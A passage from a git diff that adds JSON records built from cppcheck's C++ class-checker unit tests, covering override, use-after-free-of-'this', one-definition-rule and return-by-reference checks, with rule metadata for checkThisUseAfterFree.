checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkThisUseAfterFree.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkThisUseAfterFree.json new file mode 100644 index 0000000..528ddb0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkThisUseAfterFree.json @@ -0,0 +1,22 @@ +{ + "name": "checkThisUseAfterFree", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 41, + "branches": 14, + "apis": 29, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 8985 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n 